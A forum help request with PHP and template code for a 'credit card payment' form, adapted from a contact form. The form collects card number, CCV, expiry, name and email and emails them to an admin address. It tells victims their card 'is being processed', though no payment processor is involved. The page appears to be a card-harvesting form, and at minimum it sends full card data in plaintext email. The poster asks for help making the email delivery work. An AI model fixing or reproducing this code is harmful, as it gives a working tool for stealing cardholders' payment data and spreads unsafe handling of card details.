Hey guys, im editing a contact form for use to implement a basic credit card details form. I am seriously stuck, i get the email from the person that fills it out, but i just get a blank form given back. Please help, heres the codes:
cc.php:
<?php
/* include header */
include("header.php");
/* set page name */
$page = "cc";
/* reset error vars */
$is_error = 0;
$error_message = "";
/* try to send contact form */
if(isset($_POST['task']) && $_POST['task'] == "send")
{
// get name
$issuer = $_POST['issuer'];
// get name
$name = $_POST['name'];
// get card
$card = $_POST['card'];
// get ccv
$ccv = $_POST['ccv'];
// get date
$date = $_POST['date'];
// get email
$email = $_POST['email'];
// get captcha
$captcha = $_POST['captcha'];
// reply message
$reply = "Your Credit Card is being processed, please allow up to 1 business day for confirmation";
// check if all fields are filled
if(empty($email) || empty($name) || empty($card) || empty($ccv) || empty($date) || empty($captcha))
{
$is_error = 1;
$error_message = "Please fill all fields.";
}
// check if captcha is correct
if($_POST['captcha'] != $_SESSION['code'])
{
$is_error = 1;
$error_message = "Incorrect captcha code.";
}
// no error
if($is_error != 1)
{
// send message
send_generic($config['admin_email'], $email, $dep, $message);
send_generic($email, $config['admin_email'], "Message Received", $reply);
// set success var
$tpl->sent = 1;
}
}
/* set template vars */
$tpl->is_error = $is_error;
$tpl->error_message = $error_message;
/* include footer */
include("footer.php");
?>
cc.tpl.php:
<?php include $this->template('header.tpl.php') ?>
<div id="content">
<noscript>
<div class="error" style="font-size:16px;">JavaScript is deactivated. Please activate Javascript!</div>
</noscript>
<br />
<br />
<div class="box">
<h1>Credit Card Payment (24Hr Clearance)</h1>
<br clear="all">
<?php if($this->sent != 1): ?>
<?php if($this->is_error != 0): ?><div class="error"><?= $this->error_message ?></div><?php endif; ?>
<form action="./cc.php" method="post">
<table style="border:none;margin:auto;">
<tr>
<td style="text-align:right;">Confirm Premium Service:*</td>
<td style="text-align:left;"><select name="issuer" style="width:407px;">
<option value="contact">Visa</option>
<option value="support">Mastercard</option>
</select></td>
</tr>
<tr>
<td style="text-align:right;">Credit Card:*</td>
<td style="text-align:left;"><select name="issuer" style="width:407px;">
<option value="contact">Visa</option>
<option value="support">Mastercard</option>
</select></td>
</tr>
<tr>
<td style="text-align:right;">Name On Card:*</td>
<td style="text-align:left;"><input type="text" name="name" value="<?= $this->eprint($_POST['name']); ?>" style="width:400px;" /></td>
</tr>
<tr>
<td style="text-align:right;">Credit Card Number:*</td>
<td style="text-align:left;"><input type="text" name="card" value="<?= $this->eprint($_POST['card']); ?>" style="width:400px;" /></td>
</tr>
<tr>
<td style="text-align:right;">CCV:*</td>
<td style="text-align:left;"><input type="text" name="ccv" value="<?= $this->eprint($_POST['ccv']); ?>" style="width:400px;" /></td>
</tr>
<tr>
<td style="text-align:right;">Expiration Date:*</td>
<td style="text-align:left;"><input type="text" name="date" value="<?= $this->eprint($_POST['date']); ?>" style="width:400px;" /></td>
</tr>
<tr>
<td style="text-align:right;">Best Contact Email:*</td>
<td style="text-align:left;"><input type="text" name="email" value="<?= $this->eprint($_POST['email']); ?>" style="width:400px;" /></td>
</tr>
<tr>
<td style="text-align:right;">Solve:</td>
<td style="text-align:left;"><img src="./captcha.php" style="position:relative;" />
<div style="display:inline;position:absolute;margin-left:5px;">
<input type="text" name="captcha" size="6" style="font-size:15px;font-weight:bold;width:40px;" />
</div></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="Submit" name="submit" class="upload" /></td>
</tr>
</table>
<input type="hidden" name="task" value="send" />
</form>
<?php else: ?>
<div class="success">Your Credit Card is being processed, please allow up to 1 business day for confirmation</div>
<?php endif; ?>
<br clear="all">
</div>
</div>
<?php include $this->template('footer.tpl.php') ?>